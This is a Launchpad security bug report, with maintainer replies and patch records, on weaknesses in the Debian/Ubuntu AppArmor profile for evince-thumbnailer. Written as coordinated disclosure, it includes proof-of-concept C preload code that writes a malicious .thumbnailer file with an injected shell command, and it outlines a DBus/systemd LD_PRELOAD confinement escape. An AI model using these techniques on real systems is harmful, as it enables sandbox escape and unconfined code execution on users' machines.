Debian/Ubuntu AppArmor policy gaps in evince

Bug #1788929 reported by Jann Horn (corp account) on 2018-08-24
258
This bug affects 1 person
Affects Status Importance Assigned to Milestone
AppArmor
Undecided
Jamie Strandboge
apparmor (Ubuntu)
Undecided
Jamie Strandboge
Trusty
Undecided
Jamie Strandboge
Xenial
Undecided
Jamie Strandboge
Bionic
Undecided
Jamie Strandboge
Cosmic
Undecided
Jamie Strandboge
evince (Ubuntu)
Undecided
Jamie Strandboge
Trusty
Undecided
Jamie Strandboge
Xenial
Undecided
Jamie Strandboge
Bionic
Undecided
Jamie Strandboge
Cosmic
Undecided
Jamie Strandboge

Bug Description

[Note on coordination: I'm reporting this as a security bug to both Ubuntu
(because Ubuntu is where this policy originally comes from, and Ubuntu is also
where AppArmor is most relevant) and Debian (because the AppArmor policy has
been merged into Debian's version of the package). It isn't clear to me who
really counts as upstream here...]

Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
things, restricts evince-thumbnailer. The Ubuntu security team seems to
incorrectly believe that this policy provides meaningful security isolation:

https://twitter.com/alex_murray/status/1032780425834446849
https://twitter.com/alex_murray/status/1032796879640190976

This AppArmor policy seems to be designed to permit everything that
evince-thumbnailer might need; however, it does not seem to be designed to
establish a consistent security boundary around evince-thumbnailer.

For example, read+write access to almost the entire home directory is granted:

/usr/bin/evince-thumbnailer {
[...]
  # Lenient, but remember we still have abstractions/private-files-strict in
  # effect).
  @{HOME}/ r,
  owner @{HOME}/** rw,
  owner /media/** rw,
}

As the comment notes, a couple files are excluded to prevent you from just
overwriting well-known executable scripts in the user's home directory, like
~/.bashrc:

[...]
  # don't allow reading/updating of run control files
  deny @{HOME}/.*rc mrk,
  audit deny @{HOME}/.*rc wl,

  # bash
  deny @{HOME}/.bash* mrk,
  audit deny @{HOME}/.bash* wl,
  deny @{HOME}/.inputrc mrk,
  audit deny @{HOME}/.inputrc wl,
[...]

Verification:

user@ubuntu-18-04-vm:~$ cat preload2.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
__attribute__((constructor)) static void entry(void) {
  printf("constructor running from %s\n", program_invocation_name);
  int fd = open("/home/user/.bashrc", O_WRONLY);
  if (fd != -1) {
    printf("success\n");
  } else {
    perror("open .bashrc");
  }
  exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC
user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
open .bashrc: Permission denied
user@ubuntu-18-04-vm:~$ dmesg|tail -n1
[ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000

But of course blacklists are brittle and often trivially bypassable. For
example, did you know that it is possible to override the system's thumbnailers
by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
command lines that will be executed by nautilus. To demonstrate that it is
possible to create .thumbnailer files from evince-thumbnailer:

user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
ls: cannot access '.local/share/thumbnailers/': No such file or directory
user@ubuntu-18-04-vm:~$ cat preload3.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
__attribute__((constructor)) static void entry(void) {
  printf("constructor running from %s\n", program_invocation_name);
  if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST)
    err(1, "mkdir");
  FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w");
  if (!f)
    err(1, "create");
  fputs("[Thumbnailer Entry]\n", f);
  fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat</proc/self/attr/current;bash ; -exec echo %u %o ;\n", f);
  fputs("MimeType=application/pdf\n", f);
  fclose(f);
  exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload3.c -fPIC
user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
total 12
drwxr-xr-x 2 user user 4096 Aug 24 18:08 .
drwx------ 20 user user 4096 Aug 24 18:08 ..
-rw-r--r-- 1 user user 167 Aug 24 18:08 evil.thumbnailer
user@ubuntu-18-04-vm:~$ cat .local/share/thumbnailers/evil.thumbnailer
[Thumbnailer Entry]
Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat</proc/self/attr/current;bash ; -exec echo %u %o ;
MimeType=application/pdf

Afterwards, if you launch a new nautilus process and open a directory with
a PDF file without cached thumbnail image, a gnome-terminal will pop up with the
text:

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
unconfined
user@ubuntu-18-04-vm:~$

Of course, this is somewhat suboptimal from an attacker's perspective
if you have to wait for something to happen; what you really want is immediate
code execution. Luckily for an attacker, the AppArmor policy also permits
unrestricted DBus access - I have no idea why a thumbnail generation tool might
possibly need DBus access:

/usr/bin/evince-thumbnailer {
  #include <abstractions/dbus-session>
[...]
}

As a comment in abstractions/dbus-session explains:

  # This abstraction grants full session bus access. Consider using the
  # dbus-session-strict abstraction for fine-grained bus mediation.

Nowadays the session bus contains tons of interesting services. For example, the
systemd session instance is listening there, and as you can see at
https://www.freedesktop.org/wiki/Software/systemd/dbus/ , it has tons of methods
that you really don't want untrusted code to touch. Some quotes:

    StartUnit() enqeues a start job, and possibly depending jobs.
    Takes the unit to activate, plus a mode string.
    [...]
    SetEnvironment() may be used to alter the environment block
    that is passed to all spawned processes. Takes a string array
    with environment variable assignments. Settings passed will
    override previously set variables.
    [...]
    Similar, LinkUnitFiles() links unit files (that are located
    outside of the usual unit search paths) into the unit search path.

This means that you can break out of the AppArmor-confined context as follows:
 - drop an ELF library with a malicious constructor function at
   $HOME/.systemd_preload_lib (path doesn't really matter, except that write
   access to it must be permitted by AppArmor)
 - invoke SetEnvironment() over DBus to add
   "LD_PRELOAD=$HOME/.systemd_preload_lib" to the environment of all newly
   started units
 - invoke Restart() on a running service (gvfs-gphoto2-volume-monitor.service)
   over DBus

I have attached a PoC. Unpack the tarball, build and install it with ./build.sh
(requires root privileges).

The PoC requires root privileges to install a library at
/usr/lib/x86_64-linux-gnu/libevil_preload.so, which can then be LD_PRELOAD'ed
into evince-thumbnailer. This emulates what an attacker who has successfully
exploited a memory corruption bug in evince-thumbnailer could do.

After running the build script, run the PoC as follows:

user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
got reply
got reply 2

At this point, after a few seconds or so, gnome-calculator should pop up.
Additionally, if you check the systemd log for the targeted unit, you should see
log output from the PoC that shows that code is running in unconfined context:

user@ubuntu-18-04-vm:~$ systemctl --user status gvfs-gphoto2-volume-monitor.service
● gvfs-gphoto2-volume-monitor.service - Virtual filesystem service - digital camera monitor
   Loaded: loaded (/usr/lib/systemd/user/gvfs-gphoto2-volume-monitor.service; static; vendor preset: enabled)
   Active: active (running) since Fri 2018-08-24 21:09:31 CEST; 5min ago
 Main PID: 2709 (gvfs-gphoto2-vo)
   CGroup: /user.slice/user-1000.slice/user@1000.service/gvfs-gphoto2-volume-monitor.service
           └─2709 /usr/lib/gvfs/gvfs-gphoto2-volume-monitor

Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-volume-monitor[2709]: shell as:
Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-volume-monitor[2709]: unconfined
Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Stopped Virtual filesystem service - digital camera monitor.
Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-volume-monitor[2709]: uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Starting Virtual filesystem service - digital camera monitor...
Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Started Virtual filesystem service - digital camera monitor.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Seth Arnold (seth-arnold) wrote :

Hello Jann, thanks for the excellent report.

Changed in evince (Ubuntu):
status: New → Confirmed
Jamie Strandboge (jdstrand) wrote :

Thank you for the report.

For some context, evince was not designed with application isolation in mind and was instead designed under the assumption that the desktop session is trusted. When the profile was designed years ago, it was intended to only provide hardening and predated many things such as mediation of dbus and unix sockets. It was also understood that the profile had to be generally usable in the default install, and therefore had to be rather lenient (as documented in the policy). Later, when dbus mediation came along, we initially added only dbus compatibility rules (ie, dbus-session) that more or less made it work like before there was dbus mediation. It was always intended that we review evince's DBus needs, but that didn't happen. That said, IMO, the most correct solution is to sandbox the process that is doing the thumbnailing instead of the entire application that might call out to a thumbnailer (like what upstream did with bubblewrap, but the sandboxing could be anything-- the point is, the thing that is processing input has severely limited access to files, exec, networking, IPC, etc, etc).

With the context out of the way, it is understood that blacklisting is not the preferred approach and that it is brittle (that is why AppArmor is whitelist by default). I'm not sure when .thumbnailer files were introduced that allow specifying arbitrary commands (yikes, see above comments on trusted desktop session), but as a hardening measure, clearly the profile should be adjusted to address this. Thank you for pointing this out.

As for DBus, yes, it shouldn't need it and we should've adjusted this to use at a minimum dbus-session-strict.

For the general issue, what should happen (in this order), is:

1. fix ghostscript/etc for open CVEs (INPROGRESS)
2. implement a properly designed sandbox mechanism for at least 18.04+ (eg, the bubblewrap MIR): INPROGRESS
3. improve the existing hardening measures in the apparmor profile for at least <18.04. This would at a minimum include severely limiting the thumbnailer access to DBus and .thumbnailer profiles. We should investigate disallowing all dot files

I hope this clarifies things on the intent and evolution of the profile. Thanks again for the report.

I wonder whether it would make sense for you to amend https://wiki.ubuntu.com/Security/Features#AppArmor and add a little bit of information on what the various policies are supposed to achieve - in particular, replace the "yes" entries with something like "best-effort"/"strong" to signal whether the policy is supposed to provide meaningful confinement against a determined attacker.
Without that information, I believe that that table isn't very helpful to someone who is trying to reason about the security posture of a Ubuntu installation.

Jamie Strandboge (jdstrand) wrote :

Adding apparmor task since the private-files abstraction should block this too.

Changed in apparmor (Ubuntu):
status: New → Triaged
Changed in evince (Ubuntu):
status: Confirmed → Triaged
Changed in apparmor:
status: New → In Progress
Changed in apparmor (Ubuntu Trusty):
assignee: nobody → Jamie Strandboge (jdstrand)
status: New → Triaged
Changed in apparmor (Ubuntu Xenial):
assignee: nobody → Jamie Strandboge (jdstrand)
status: New → Triaged
Changed in apparmor (Ubuntu Bionic):
assignee: nobody → Jamie Strandboge (jdstrand)
status: New → Triaged
Changed in apparmor (Ubuntu Cosmic):
assignee: nobody → Jamie Strandboge (jdstrand)
status: Triaged → In Progress
Changed in evince (Ubuntu Trusty):
assignee: nobody → Jamie Strandboge (jdstrand)
status: New → Triaged
Changed in evince (Ubuntu Xenial):
assignee: nobody → Jamie Strandboge (jdstrand)
status: New → Triaged
Changed in evince (Ubuntu Bionic):
assignee: nobody → Jamie Strandboge (jdstrand)
status: New → Triaged
Changed in evince (Ubuntu Cosmic):
assignee: nobody → Jamie Strandboge (jdstrand)
Changed in apparmor:
assignee: nobody → Jamie Strandboge (jdstrand)
Jamie Strandboge (jdstrand) wrote :
Changed in apparmor:
status: In Progress → Fix Released
Changed in apparmor (Ubuntu Cosmic):
status: In Progress → Fix Committed
Changed in apparmor (Ubuntu Bionic):
status: Triaged → Fix Committed
Changed in apparmor (Ubuntu Xenial):
status: Triaged → Fix Committed
Changed in apparmor (Ubuntu Trusty):
status: Triaged → Fix Committed
Changed in evince (Ubuntu Cosmic):
status: Triaged → Fix Committed
summary: - Debian/Ubuntu AppArmor policy for evince is useless
+ Debian/Ubuntu AppArmor policy gaps in evince
information type: Private Security → Public Security
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package apparmor - 2.12-4ubuntu8

---------------
apparmor (2.12-4ubuntu8) cosmic; urgency=medium

  * lp1788929+1794848.patch:
    - disallow writes to thumbnailer dir (LP: #1788929)
    - disallow access to the dirs of private files (LP: #1794848)

 -- Jamie Strandboge <email address hidden> Thu, 27 Sep 2018 17:25:04 +0000

Changed in apparmor (Ubuntu Cosmic):
status: Fix Committed → Fix Released
Jeremy Bicha (jbicha) wrote :

Jamie, can you confirm whether cosmic is fixed for evince now with https://launchpad.net/ubuntu/+source/evince/3.30.0-3ubuntu1 ?

Jeremy Bicha (jbicha) wrote :

Since it was discussed here, the bug for enabling bubblewrap for gnome-desktop3 for bionic is LP: #1795668

Jamie Strandboge (jdstrand) wrote :

I referenced the wrong bug in the evince upload so it didn't auto-close, but 3.30.0-3ubuntu1 should address this.

Changed in evince (Ubuntu Cosmic):
status: Fix Committed → Fix Released
Changed in evince (Ubuntu Trusty):
status: Triaged → In Progress
Changed in evince (Ubuntu Xenial):
status: Triaged → In Progress
Changed in evince (Ubuntu Bionic):
status: Triaged → In Progress
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package apparmor - 2.10.95-0ubuntu2.6~14.04.4

---------------
apparmor (2.10.95-0ubuntu2.6~14.04.4) trusty-security; urgency=medium

  * {,14.04-}lp1788929+1794848.patch:
    - disallow writes to thumbnailer dir (LP: #1788929)
    - disallow access to the dirs of private files (LP: #1794848)

 -- Jamie Strandboge <email address hidden> Thu, 27 Sep 2018 18:38:50 +0000

Changed in apparmor (Ubuntu Trusty):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package apparmor - 2.12-4ubuntu5.1

---------------
apparmor (2.12-4ubuntu5.1) bionic-security; urgency=medium

  * lp1788929+1794848.patch:
    - disallow writes to thumbnailer dir (LP: #1788929)
    - disallow access to the dirs of private files (LP: #1794848)

 -- Jamie Strandboge <email address hidden> Thu, 27 Sep 2018 18:20:54 +0000

Changed in apparmor (Ubuntu Bionic):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package apparmor - 2.10.95-0ubuntu2.10

---------------
apparmor (2.10.95-0ubuntu2.10) xenial-security; urgency=medium

  * lp1788929+1794848.patch:
    - disallow writes to thumbnailer dir (LP: #1788929)
    - disallow access to the dirs of private files (LP: #1794848)

 -- Jamie Strandboge <email address hidden> Thu, 27 Sep 2018 18:23:46 +0000

Changed in apparmor (Ubuntu Xenial):
status: Fix Committed → Fix Released
To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers